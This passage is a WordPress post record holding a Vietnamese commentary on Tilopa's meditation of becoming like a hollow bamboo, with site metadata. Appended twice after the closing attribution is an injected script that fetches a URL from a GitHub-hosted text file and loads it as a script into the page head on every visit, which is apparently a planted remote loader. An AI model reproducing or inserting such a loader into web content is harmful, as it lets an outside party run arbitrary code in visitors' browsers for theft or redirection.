v\u1ec1 vi\u1ec7c l\u00e0 ch\u1ee7 \u0111\u1ed9ng. B\u1ea1n \u0111\u01a1n gi\u1ea3n nh\u00ecn, kh\u00f4ng c\u00f3 b\u1ea5t k\u00ec c\u00e1i g\u00ec \u0111\u1ec3 l\u00e0m. B\u1ea1n \u0111\u01a1n gi\u1ea3n ng\u1ed3i c\u1ea1nh b\u1edd s\u00f4ng, b\u1ea1n nh\u00ecn, v\u00e0 s\u00f4ng ch\u1ea3y qua. Hay, b\u1ea1n nh\u00ecn l\u00ean tr\u1eddi v\u00e0 m\u00e2y b\u1ed3ng b\u1ec1nh, v\u00e0 m\u1ed9t c\u00e1ch th\u1ee5 \u0111\u1ed9ng.<\/p>\n<p>S\u1ef1 th\u1ee5 \u0111\u1ed9ng n\u00e0y l\u00e0 r\u1ea5t r\u1ea5t b\u1ea3n ch\u1ea5t; \u0111i\u1ec1u \u0111\u00f3 ph\u1ea3i \u0111\u01b0\u1ee3c hi\u1ec3u, v\u00ec \u00e1m \u1ea3nh c\u1ee7a b\u1ea1n v\u1ec1 ho\u1ea1t \u0111\u1ed9ng c\u00f3 th\u1ec3 tr\u1edf th\u00e0nh n\u0103ng n\u1ed5, c\u00f3 th\u1ec3 tr\u1edf th\u00e0nh vi\u1ec7c ch\u1edd \u0111\u1ee3i ch\u1ee7 \u0111\u1ed9ng. Th\u1ebf th\u00ec b\u1ea1n b\u1ecf l\u1ee1 to\u00e0n th\u1ec3 v\u1ea5n \u0111\u1ec1; th\u1ebf th\u00ec ho\u1ea1t \u0111\u1ed9ng \u0111\u00e3 l\u1ea1i \u0111i v\u00e0o t\u1eeb c\u1eeda sau. L\u00e0 ng\u01b0\u1eddi quan s\u00e1t th\u1ee5 \u0111\u1ed9ng \u0111i.<\/p>\n<p>&nbsp;<\/p>\n<p><em>l\u00e0m tr\u1ed1ng r\u1ed7ng t\u00e2m tr\u00ed \u00f4ng v\u00e0 kh\u00f4ng ngh\u0129.<\/em><\/p>\n<p>&nbsp;<\/p>\n<p>T\u00ednh th\u1ee5 \u0111\u1ed9ng n\u00e0y s\u1ebd t\u1ef1 \u0111\u1ed9ng l\u00e0m tr\u1ed1ng r\u1ed7ng t\u00e2m tr\u00ed c\u1ee7a b\u1ea1n. Nh\u1eefng g\u1ee3n ho\u1ea1t \u0111\u1ed9ng, g\u1ee3n n\u0103ng l\u01b0\u1ee3ng t\u00e2m tr\u00ed, d\u1ea7n d\u1ea7n, s\u1ebd l\u1eafng xu\u1ed1ng, v\u00e0 to\u00e0n th\u1ec3 b\u1ec1 m\u1eb7t c\u1ee7a t\u00e2m th\u1ee9c c\u1ee7a b\u1ea1n s\u1ebd kh\u00f4ng c\u00f2n b\u1ea5t k\u00ec s\u00f3ng n\u00e0o, kh\u00f4ng c\u00f2n b\u1ea5t k\u00ec g\u1ee3n s\u00f3ng n\u00e0o. N\u00f3 tr\u1edf th\u00e0nh gi\u1ed1ng nh\u01b0 chi\u1ebfc g\u01b0\u01a1ng im l\u1eb7ng.<\/p>\n<p>&nbsp;<\/p>\n<p><em>Nh\u01b0 tr\u00fac h\u1ed5ng ngh\u1ec9 tho\u1ea3i m\u00e1i v\u1edbi th\u00e2n th\u1ec3 c\u1ee7a \u00f4ng.<\/em><\/p>\n<p>&nbsp;<\/p>\n<p>\u0110\u00e2y l\u00e0 m\u1ed9t ph\u01b0\u01a1ng ph\u00e1p \u0111\u1eb7c bi\u1ec7t c\u1ee7a Tilopa. M\u1ecdi Th\u1ea7y \u0111\u1ec1u c\u00f3 ph\u01b0\u01a1ng ph\u00e1p \u0111\u1eb7c bi\u1ec7t ri\u00eang c\u1ee7a \u00f4ng \u1ea5y qua \u0111\u00f3 \u00f4ng \u1ea5y \u0111\u00e3 \u0111\u1ea1t t\u1edbi, v\u00e0 qua \u0111\u00f3 \u00f4ng \u1ea5y mu\u1ed1n gi\u00fap ng\u01b0\u1eddi kh\u00e1c. \u0110\u00e2y l\u00e0 \u0111\u1eb7c th\u00f9 c\u1ee7a Tilopa:<\/p>\n<p>&nbsp;<\/p>\n<p><em>Nh\u01b0 tr\u00fac h\u1ed5ng ngh\u1ec9 tho\u1ea3i m\u00e1i v\u1edbi th\u00e2n th\u1ec3 c\u1ee7a \u00f4ng.<\/em><\/p>\n<p>&nbsp;<\/p>\n<p>C\u00e2y tr\u00fac: b\u00ean trong ho\u00e0n to\u00e0n h\u1ed5ng ho\u00e1c. Khi b\u1ea1n ngh\u1ec9 ng\u01a1i, b\u1ea1n ch\u1ec9 c\u1ea3m th\u1ea5y r\u1eb1ng b\u1ea1n gi\u1ed1ng nh\u01b0 c\u00e2y tr\u00fac: b\u00ean trong ho\u00e0n to\u00e0n h\u1ed5ng ho\u00e1c v\u00e0 tr\u1ed1ng r\u1ed7ng. V\u00e0 th\u1ef1c ra \u0111\u00e2y l\u00e0 ho\u00e0n c\u1ea3nh: th\u00e2n th\u1ec3 c\u1ee7a b\u1ea1n gi\u1ed1ng nh\u01b0 c\u00e2y tr\u00fac, v\u00e0 b\u00ean trong n\u00f3 l\u00e0 h\u1ed5ng. Da b\u1ea1n, x\u01b0\u01a1ng b\u1ea1n, m\u00e1u b\u1ea1n, t\u1ea5t c\u1ea3 \u0111\u1ec1u l\u00e0 c\u00e1c b\u1ed9 ph\u1eadn c\u1ee7a tr\u00fac, v\u00e0 b\u00ean trong c\u00f3 kh\u00f4ng gian, ch\u1ed7 h\u1ed5ng.<\/p>\n<p>Khi b\u1ea1n ng\u1ed3i v\u1edbi mi\u1ec7ng im l\u1eb7ng ho\u00e0n to\u00e0n, b\u1ea5t ho\u1ea1t, l\u01b0\u1ee1i ch\u1ea1m h\u00e0m \u1ebfch v\u00e0 im l\u1eb7ng, kh\u00f4ng run run v\u1edbi \u00fd ngh\u0129, t\u00e2m tr\u00ed quan s\u00e1t m\u1ed9t c\u00e1ch th\u1ee5 \u0111\u1ed9ng, kh\u00f4ng ch\u1edd \u0111\u1ee3i b\u1ea5t k\u00ec c\u00e1i g\u00ec n\u00f3i ri\u00eang, c\u1ea3m th\u1ea5y gi\u1ed1ng nh\u01b0 tr\u00fac h\u1ed5ng &#8211; v\u00e0 \u0111\u1ed9t nhi\u00ean n\u0103ng l\u01b0\u1ee3ng v\u00f4 h\u1ea1n b\u1eaft \u0111\u1ea7u r\u00f3t v\u00e0o b\u00ean trong b\u1ea1n, b\u1ea1n \u0111\u01b0\u1ee3c r\u00f3t \u0111\u1ea7y v\u1edbi c\u00e1i kh\u00f4ng bi\u1ebft, v\u1edbi \u0111i\u1ec1u huy\u1ec1n b\u00ed, v\u1edbi \u0111i\u1ec1u thi\u00eang li\u00eang. Tr\u00fac h\u1ed5ng tr\u1edf th\u00e0nh chi\u1ebfc s\u00e1o v\u00e0 \u0111i\u1ec1u thi\u00eang li\u00eang b\u1eaft \u0111\u1ea7u ch\u01a1i n\u00f3. M\u1ed9t khi b\u1ea1n l\u00e0 tr\u1ed1ng r\u1ed7ng th\u1ebf th\u00ec kh\u00f4ng c\u00f3 r\u00e0o ch\u1eafn cho \u0111i\u1ec1u thi\u00eang li\u00eang \u0111i v\u00e0o trong b\u1ea1n.<\/p>\n<p>Th\u1eed \u0111i\u1ec1u n\u00e0y; \u0111\u00e2y l\u00e0 m\u1ed9t trong nh\u1eefng c\u00e1ch thi\u1ec1n hay nh\u1ea5t, thi\u1ec1n v\u1ec1 vi\u1ec7c tr\u1edf th\u00e0nh tr\u00fac h\u1ed5ng. B\u1ea1n kh\u00f4ng c\u1ea7n l\u00e0m b\u1ea5t k\u00ec c\u00e1i g\u00ec kh\u00e1c. B\u1ea1n \u0111\u01a1n gi\u1ea3n tr\u1edf th\u00e0nh \u0111i\u1ec1u n\u00e0y &#8211; v\u00e0 m\u1ecdi th\u1ee9 kh\u00e1c x\u1ea3y ra. \u0110\u1ed9t nhi\u00ean b\u1ea1n c\u1ea3m th\u1ea5y c\u00e1i g\u00ec \u0111\u00f3 \u0111ang gi\u00e1ng v\u00e0o trong t\u00ednh h\u1ed5ng c\u1ee7a b\u1ea1n. B\u1ea1n gi\u1ed1ng nh\u01b0 b\u1ee5ng m\u1eb9 v\u00e0 s\u1ef1 s\u1ed1ng m\u1edbi \u0111ang \u0111i v\u00e0o trong b\u1ea1n, h\u1ea1t m\u1ea7m r\u01a1i v\u00e0o. V\u00e0 m\u1ed9t kho\u1ea3nh kh\u1eafc t\u1edbi khi tr\u00fac ho\u00e0n to\u00e0n bi\u1ebfn m\u1ea5t.<\/p>\n<p>&nbsp;<\/p>\n<p><em>Nh\u01b0 tr\u00fac h\u1ed5ng ngh\u1ec9 tho\u1ea3i m\u00e1i v\u1edbi th\u00e2n th\u1ec3 c\u1ee7a \u00f4ng.<\/em><\/p>\n<p>&nbsp;<\/p>\n<p>Ngh\u1ec9 tho\u1ea3i m\u00e1i &#8211; kh\u00f4ng ham mu\u1ed1n nh\u1eefng th\u1ee9 t\u00e2m linh, kh\u00f4ng ham mu\u1ed1n c\u00f5i tr\u1eddi, kh\u00f4ng ham mu\u1ed1n ngay c\u1ea3 Th\u01b0\u1ee3ng \u0111\u1ebf. Th\u01b0\u1ee3ng \u0111\u1ebf kh\u00f4ng th\u1ec3 \u0111\u01b0\u1ee3c ham mu\u1ed1n &#8211; khi b\u1ea1n l\u00e0 v\u00f4 ham mu\u1ed1n, ng\u00e0i t\u1edbi v\u1edbi b\u1ea1n. Gi\u1ea3i tho\u00e1t kh\u00f4ng th\u1ec3 \u0111\u01b0\u1ee3c ham mu\u1ed1n v\u00ec ham mu\u1ed1n l\u00e0 ph\u1ee5 thu\u1ed9c. Khi b\u1ea1n l\u00e0 v\u00f4 ham mu\u1ed1n, b\u1ea1n \u0111\u01b0\u1ee3c gi\u1ea3i tho\u00e1t. Ph\u1eadt t\u00ednh kh\u00f4ng th\u1ec3 \u0111\u01b0\u1ee3c ham mu\u1ed1n, v\u00ec vi\u1ec7c ham mu\u1ed1n l\u00e0 c\u1ea3n tr\u1edf. Khi r\u00e0o ch\u1eafn kh\u00f4ng c\u00f3, \u0111\u1ed9t nhi\u00ean Ph\u1eadt b\u00f9ng n\u1ed5 trong b\u1ea1n. B\u1ea1n \u0111\u00e3 c\u00f3 h\u1ea1t m\u1ea7m r\u1ed3i. Khi b\u1ea1n l\u00e0 tr\u1ed1ng r\u1ed7ng, kh\u00f4ng gian c\u00f3 \u0111\u00f3 &#8211; h\u1ea1t m\u1ea7m b\u00f9ng n\u1ed5.<\/p>\n<p>&nbsp;<\/p>\n<p><em>Nh\u01b0 tr\u00fac h\u1ed5ng ngh\u1ec9 tho\u1ea3i m\u00e1i v\u1edbi th\u00e2n th\u1ec3 c\u1ee7a \u00f4ng. Kh\u00f4ng cho kh\u00f4ng nh\u1eadn, \u0111\u1ec3 t\u00e2m tr\u00ed \u00f4ng ngh\u1ec9 ng\u01a1i.<\/em><\/p>\n<p>&nbsp;<\/p>\n<p>Kh\u00f4ng c\u00f3 g\u00ec \u0111\u1ec3 cho, kh\u00f4ng c\u00f3 g\u00ec \u0111\u1ec3 nh\u1eadn. M\u1ecdi th\u1ee9 l\u00e0 tuy\u1ec7t \u0111\u1ed1i \u1ed5n th\u1ecfa &#8211; nh\u01b0 n\u00f3 v\u1eady. Kh\u00f4ng c\u00f3 nhu c\u1ea7u v\u1ec1 b\u1ea5t k\u00ec c\u00e1i g\u00ec \u0111\u1ec3 cho v\u00e0 nh\u1eadn. B\u1ea1n l\u00e0 ho\u00e0n h\u1ea3o tuy\u1ec7t \u0111\u1ed1i nh\u01b0 b\u1ea1n v\u1eady.<\/p>\n<p>Gi\u00e1o hu\u1ea5n n\u00e0y c\u1ee7a ph\u01b0\u01a1ng \u0110\u00f4ng \u0111\u00e3 b\u1ecb hi\u1ec3u l\u1ea7m r\u1ea5t nhi\u1ec1u \u1edf ph\u01b0\u01a1ng T\u00e2y, v\u00ec h\u1ecd n\u00f3i, &#8220;\u0110\u00e2y l\u00e0 ki\u1ec3u gi\u00e1o hu\u1ea5n g\u00ec v\u1eady? Th\u1ebf th\u00ec m\u1ecdi ng\u01b0\u1eddi s\u1ebd kh\u00f4ng ph\u1ea5n \u0111\u1ea5u, v\u00e0 th\u1ebf th\u00ec h\u1ecd s\u1ebd kh\u00f4ng c\u1ed1 \u0111i cao h\u01a1n. Th\u1ebf th\u00ec h\u1ecd s\u1ebd kh\u00f4ng l\u00e0m b\u1ea5t k\u00ec n\u1ed7 l\u1ef1c n\u00e0o \u0111\u1ec3 thay \u0111\u1ed5i t\u00ednh c\u00e1ch c\u1ee7a h\u1ecd, \u0111\u1ec3 bi\u1ebfn \u0111\u1ed5i c\u00e1c th\u1ee9 x\u1ea5u c\u1ee7a h\u1ecd th\u00e0nh c\u00e1ch th\u1ee9c t\u1ed1t. Th\u1ebf th\u00ec h\u1ecd c\u00f3 th\u1ec3 tr\u1edf th\u00e0nh n\u1ea1n nh\u00e2n c\u1ee7a \u0111i\u1ec1u \u00e1c.&#8221; \u1ede ph\u01b0\u01a1ng T\u00e2y, &#8220;Ho\u00e0n thi\u1ec7n b\u1ea3n th\u00e2n \u00f4ng&#8221; l\u00e0 kh\u1ea9u hi\u1ec7u; c\u1ea3 d\u01b0\u1edbi d\u1ea1ng c\u1ee7a th\u1ebf gi\u1edbi n\u00e0y, hay d\u01b0\u1edbi d\u1ea1ng c\u1ee7a th\u1ebf gi\u1edbi kia, nh\u01b0ng ho\u00e0n thi\u1ec7n \u0111i. L\u00e0m sao ho\u00e0n thi\u1ec7n? L\u00e0m sao tr\u1edf n\u00ean l\u1edbn lao h\u01a1n v\u00e0 to l\u1edbn h\u01a1n?<\/p>\n<p>\u1ede ph\u01b0\u01a1ng \u0110\u00f4ng ch\u00fang ta hi\u1ec3u \u0111i\u1ec1u \u0111\u00f3 s\u00e2u s\u1eafc h\u01a1n, r\u1eb1ng ch\u00ednh n\u1ed7 l\u1ef1c n\u00e0y \u0111\u1ec3 tr\u1edf th\u00e0nh l\u00e0 r\u00e0o ch\u1eafn &#8211; v\u00ec b\u1ea1n \u0111\u00e3 mang con ng\u01b0\u1eddi c\u1ee7a b\u1ea1n c\u00f9ng b\u1ea1n r\u1ed3i. B\u1ea1n kh\u00f4ng c\u1ea7n tr\u1edf th\u00e0nh b\u1ea5t k\u00ec c\u00e1i g\u00ec &#8211; \u0111\u01a1n gi\u1ea3n nh\u1eadn ra b\u1ea1n l\u00e0 ai, c\u00f3 v\u1eady th\u00f4i. \u0110\u01a1n gi\u1ea3n nh\u1eadn ra ai \u0111ang \u1ea9n k\u00edn b\u00ean trong b\u1ea1n. Ho\u00e0n thi\u1ec7n, d\u00f9 b\u1ea1n ho\u00e0n thi\u1ec7n b\u1ea5t k\u00ec c\u00e1i g\u00ec, b\u1ea1n bao gi\u1edd c\u0169ng s\u1ebd trong lo \u00e2u v\u00e0 phi\u1ec1n n\u00e3o v\u00ec ch\u00ednh n\u1ed7 l\u1ef1c ho\u00e0n thi\u1ec7n n\u00e0y \u0111ang d\u1eabn b\u1ea1n \u0111i tr\u00ean con \u0111\u01b0\u1eddng sai. N\u00f3 l\u00e0m cho t\u01b0\u01a1ng lai th\u00e0nh c\u00f3 ngh\u0129a, l\u00ed t\u01b0\u1edfng th\u00e0nh c\u00f3 ngh\u0129a, v\u00e0 th\u1ebf th\u00ec t\u00e2m tr\u00ed b\u1ea1n tr\u1edf th\u00e0nh vi\u1ec7c ham mu\u1ed1n.<\/p>\n<p>Ham mu\u1ed1n, b\u1ea1n b\u1ecf l\u1ee1. \u0110\u1ec3 vi\u1ec7c ham mu\u1ed1n l\u1eafng xu\u1ed1ng, tr\u1edf th\u00e0nh v\u0169ng im l\u1eb7ng c\u1ee7a v\u00f4 ham mu\u1ed1n &#8211; v\u00e0 \u0111\u1ed9t nhi\u00ean b\u1ea1n ng\u1ea1c nhi\u00ean, kh\u00f4ng ng\u1edd n\u00f3 c\u00f3 \u0111\u00f3. V\u00e0 b\u1ea1n s\u1ebd c\u00f3 ti\u1ebfng c\u01b0\u1eddi b\u1ee5ng, nh\u01b0 B\u1ed3 \u0111\u1ec1 \u0111\u1ea1t ma \u0111\u00e3 c\u01b0\u1eddi. V\u00e0 nh\u1eefng ng\u01b0\u1eddi \u0111i theo B\u1ed3 \u0111\u1ec1 \u0111\u1ea1t ma n\u00f3i r\u1eb1ng khi b\u1ea1n l\u1ea1i tr\u1edf th\u00e0nh im l\u1eb7ng, b\u1ea1n c\u00f3 th\u1ec3 nghe th\u1ea5y ti\u1ebfng c\u01b0\u1eddi c\u1ee7a \u00f4ng \u1ea5y. \u00d4ng \u1ea5y v\u1eabn c\u00f2n \u0111ang c\u01b0\u1eddi. K\u1ec3 t\u1eeb \u0111\u00f3 \u00f4ng \u1ea5y \u0111\u00e3 kh\u00f4ng d\u1eebng vi\u1ec7c c\u01b0\u1eddi. \u00d4ng \u1ea5y \u0111\u00e3 c\u01b0\u1eddi v\u00ec, &#8220;\u0110\u00e2y l\u00e0 ki\u1ec3u chuy\u1ec7n \u0111\u00f9a qu\u00e1i g\u00ec th\u1ebf n\u00e0y? M\u00ecnh \u0111\u00e3 l\u00e0 c\u00e1i m\u00ecnh \u0111ang c\u1ed1 tr\u1edf th\u00e0nh! L\u00e0m sao m\u00ecnh c\u00f3 th\u1ec3 th\u00e0nh c\u00f4ng n\u1ebfu m\u00ecnh \u0111\u00e3 l\u00e0 c\u00e1i \u0111\u00f3, v\u00e0 m\u00ecnh \u0111ang c\u1ed1 tr\u1edf th\u00e0nh c\u00e1i \u0111\u00f3? Th\u1ea5t b\u1ea1i c\u1ee7a m\u00ecnh l\u00e0 tuy\u1ec7t \u0111\u1ed1i ch\u1eafc ch\u1eafn. L\u00e0m sao m\u00ecnh c\u00f3 th\u1ec3 tr\u1edf th\u00e0nh c\u00e1i m\u00e0 m\u00ecnh \u0111\u00e3 l\u00e0 v\u1eady r\u1ed3i?&#8221; Cho n\u00ean B\u1ed3 \u0111\u1ec1 \u0111\u1ea1t ma \u0111\u00e3 c\u01b0\u1eddi.<\/p>\n<p>B\u1ed3 \u0111\u1ec1 \u0111\u1ea1t ma \u0111\u00e3 \u0111\u00edch x\u00e1c l\u00e0 ng\u01b0\u1eddi \u0111\u01b0\u01a1ng \u0111\u1ea1i v\u1edbi Tilopa. H\u1ecd c\u00f3 th\u1ec3 \u0111\u00e3 bi\u1ebft nhau, c\u00f3 th\u1ec3 kh\u00f4ng v\u1ec1 m\u1eb7t v\u1eadt l\u00ed, nh\u01b0ng h\u1ecd ph\u1ea3i \u0111\u00e3 bi\u1ebft nhau &#8211; c\u00f9ng ph\u1ea9m ch\u1ea5t con ng\u01b0\u1eddi.<\/p>\n<p>&nbsp;<\/p>\n<p><em>Kh\u00f4ng cho kh\u00f4ng nh\u1eadn, \u0111\u1ec3 t\u00e2m tr\u00ed \u00f4ng ngh\u1ec9 ng\u01a1i. \u0110\u1ea1i th\u1ee7 \u1ea5n gi\u1ed1ng nh\u01b0 t\u00e2m tr\u00ed kh\u00f4ng b\u00e1m v\u00edu.<\/em><\/p>\n<p>&nbsp;<\/p>\n<p>B\u1ea1n \u0111\u00e3 \u0111\u1ea1t t\u1edbi n\u1ebfu b\u1ea1n kh\u00f4ng b\u00e1m v\u00edu; kh\u00f4ng c\u00e1i g\u00ec \u1edf trong tay b\u1ea1n &#8211; v\u00e0 b\u1ea1n \u0111\u00e3 \u0111\u1ea1t t\u1edbi.<\/p>\n<p>&nbsp;<\/p>\n<p><em>\u0110\u1ea1i th\u1ee7 \u1ea5n gi\u1ed1ng nh\u01b0 t\u00e2m tr\u00ed kh\u00f4ng b\u00e1m v\u00edu.<\/em><\/p>\n<p><em>V\u1eady tu luy\u1ec7n, v\u00e0o \u0111\u00fang l\u00fac \u00f4ng s\u1ebd \u0111\u1ea1t t\u1edbi ph\u1eadt t\u00ednh.<\/em><\/p>\n<p>&nbsp;<\/p>\n<p>Th\u1ebf th\u00ec c\u00e1i g\u00ec l\u00e0 \u0111\u1ec3 \u0111\u01b0\u1ee3c tu luy\u1ec7n? L\u00e0 ng\u00e0y c\u00e0ng tho\u1ea3i m\u00e1i h\u01a1n. L\u00e0 ng\u00e0y c\u00e0ng \u1edf \u0111\u00e2y v\u00e0 b\u00e2y gi\u1edd h\u01a1n. L\u00e0 ng\u00e0y c\u00e0ng trong h\u00e0nh \u0111\u1ed9ng h\u01a1n, v\u00e0 \u00edt trong ho\u1ea1t \u0111\u1ed9ng h\u01a1n. L\u00e0 ng\u00e0y c\u00e0ng h\u1ed5ng ho\u00e1c, tr\u1ed1ng r\u1ed7ng, th\u1ee5 \u0111\u1ed9ng h\u01a1n. Ng\u00e0y c\u00e0ng l\u00e0 ng\u01b0\u1eddi quan s\u00e1t h\u01a1n &#8211; trung l\u1eadp, kh\u00f4ng mong \u0111\u1ee3i b\u1ea5t k\u00ec c\u00e1i g\u00ec, kh\u00f4ng ham mu\u1ed1n b\u1ea5t k\u00ec c\u00e1i g\u00ec. L\u00e0 h\u00e0i l\u00f2ng v\u1edbi b\u1ea3n th\u00e2n b\u1ea1n nh\u01b0 b\u1ea1n v\u1eady, l\u00e0 vi\u1ec7c m\u1edf h\u1ed9i.<\/p>\n<p>V\u00e0 th\u1ebf th\u00ec, <em>v\u00e0o b\u1ea5t k\u00ec kho\u1ea3nh kh\u1eafc n\u00e0o<\/em>, b\u1ea5t k\u00ec kho\u1ea3nh kh\u1eafc n\u00e0o, khi m\u1ecdi th\u1ee9 ch\u00edn mu\u1ed3i v\u00e0 m\u00f9a v\u1ee5 \u0111\u00fang t\u1edbi, b\u1ea1n n\u1edf hoa trong v\u1ecb Ph\u1eadt.<\/p>\n<p>&nbsp;<\/p>\n<p>T\u1eeb \u201cTantra hi\u1ec3u bi\u1ebft t\u1ed1i cao\u201d, Ch.4 L\u00e0 gi\u1ed1ng tr\u00fac h\u1ed5ng<script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Kh\u00f4ng l\u00e0m g\u00ec v\u1edbi th\u00e2n th\u1ec3 nh\u01b0ng th\u1ea3nh th\u01a1i &nbsp; Kh\u00f4ng c\u1ea7n l\u00e0m b\u1ea5t k\u00ec c\u00e1i g\u00ec cho n\u00f3. Ch\u1ec9 hi\u1ec3u chuy\u1ec3n \u0111\u1ed9ng c\u1ee7a n\u0103ng &hellip; <\/p>\n","protected":false},"author":3,"featured_media":4161,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[57],"tags":[],"class_list":["post-4160","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-quan-sat-nhan-biet"],"_links":{"self":[{"href":"https:\/\/reikivietnam.org\/index.php?rest_route=\/wp\/v2\/posts\/4160","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/reikivietnam.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/reikivietnam.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/reikivietnam.org\/index.php?rest_route=\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/reikivietnam.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=4160"}],"version-history":[{"count":3,"href":"https:\/\/reikivietnam.org\/index.php?rest_route=\/wp\/v2\/posts\/4160\/revisions"}],"predecessor-version":[{"id":4643,"href":"https:\/\/reikivietnam.org\/index.php?rest_route=\/wp\/v2\/posts\/4160\/revisions\/4643"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/reikivietnam.org\/index.php?rest_route=\/wp\/v2\/media\/4161"}],"wp:attachment":[{"href":"https:\/\/reikivietnam.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=4160"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/reikivietnam.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=4160"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/reikivietnam.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=4160"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}